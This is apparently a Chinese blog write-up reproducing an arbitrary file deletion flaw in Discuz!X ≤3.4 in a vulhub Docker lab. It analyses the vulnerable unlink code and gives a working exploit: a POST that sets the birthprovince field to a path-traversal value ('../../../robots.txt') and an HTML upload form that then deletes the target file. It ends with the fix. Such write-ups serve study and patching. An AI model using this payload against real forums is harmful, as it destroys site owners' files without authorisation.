Discuz!X ≤3.4 任意文件删除漏洞

Discuz!X ≤3.4 任意文件删除漏洞

简述

漏洞原因:之前存在的任意文件删除漏洞修复不完全导致可以绕过。

漏洞修复时间:2017年9月29日官方对gitee上的代码进行了修复

漏洞原理分析

home.php中存在,get参数不满足条件时进入

require_once libfile('home/'.$mod, 'module');

libfile(功能:构造文件路径)

function libfile($libname, $folder = '') {
    $libpath = '/source/'.$folder;
    if(strstr($libname, '/')) {
        list($pre, $name) = explode('/', $libname);
        $path = "{$libpath}/{$pre}/{$pre}_{$name}";
    } else {
        $path = "{$libpath}/{$libname}";
    }
    return preg_match('/^[\w\d\/_]+$/i', $path) ? realpath(DISCUZ_ROOT.$path.'.php') : false;
}

利用中的请求的Get请求:mod=spacecp&ac=profile&op=base

经过处理返回到home_spacecp.php在此文件中最后一行,引入文件spacecp_profile.php

问题所在文件:spacecp_profile.php

upload/source/include/spacecp/spacecp_profile.php

进入代码70行

if(submitcheck('profilesubmit')) {

提交profilesubmit进入判断

第185行开始对文件上传进行处理,下接第205行

			if(!$upload->error()) {
				$upload->save();

				if(!$upload->get_image_info($attach['target'])) {
					@unlink($attach['target']);
					continue;
				}
				$setarr[$key] = '';
				$attach['attachment'] = dhtmlspecialchars(trim($attach['attachment']));
				if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
					if(isset($verifyinfo['field'][$key])) {
            @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
						$verifyarr[$key] = $attach['attachment'];
					}
					continue;
				}
				if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
          @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
					$verifyarr[$key] = $attach['attachment'];
					continue;
        }
        @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
				$setarr[$key] = $attach['attachment'];
			}

文件上传成功,!$upload->error()进入unlink语句

@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);

回溯变量$space[$key](用户的个人设置)

$space = getuserbyuid($_G['uid']);
space_merge($space, 'field_home');
space_merge($space, 'profile');

从数据库查询用户相关的信息保存到变量$space中。birthprovince就是其中之一。

因为birthprovince可控,所以利用这一变量,在设置页面提交即可绕过字段内容的限制

此时$space[key] = $space[birthprovince] = '../../../robots.txt'

漏洞复现

启动环境

用的vulhub-master进行复现

启动docker

sudo systemctl start docker

运行环境

cd /vulhub-master/discuz/x3.4-arbitrary-file-deletion
docker-compose up -d

复现

docker exec [容器] ls查看目录下文件

前

注册并且登录后进入个人资料 查看源码找到formhash(第二个)

hash

请求

home.php?mod=spacecp&ac=profile&op=base

POST:
birthprovince=../../../robots.txt&profilesubmit=1&formhash=b7a54465
其中formhash为用户hash

修改成功后出生地会变为../../../robots.txt

前地

新建一个upload.html,构造请求向home.php?mod=spacecp&ac=profile&op=base上传文件

<body>
    <form action="http://ip/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[hash]" method="post" enctype="multipart/form-data">
        <input type="file" name="birthprovince" />
        <input type="submit" value="upload" />
    </form>
</body>

刷新页面发现出生地变成了图片地址

后地

请求后docker exec [容器] ls发现目标文件(robots.txt)已经被删除了

后

漏洞修复

直接删除几条unlink语句

posted @ 2020-10-28 15:19  Rabbittt  阅读(1455)  评论(0编辑  收藏  举报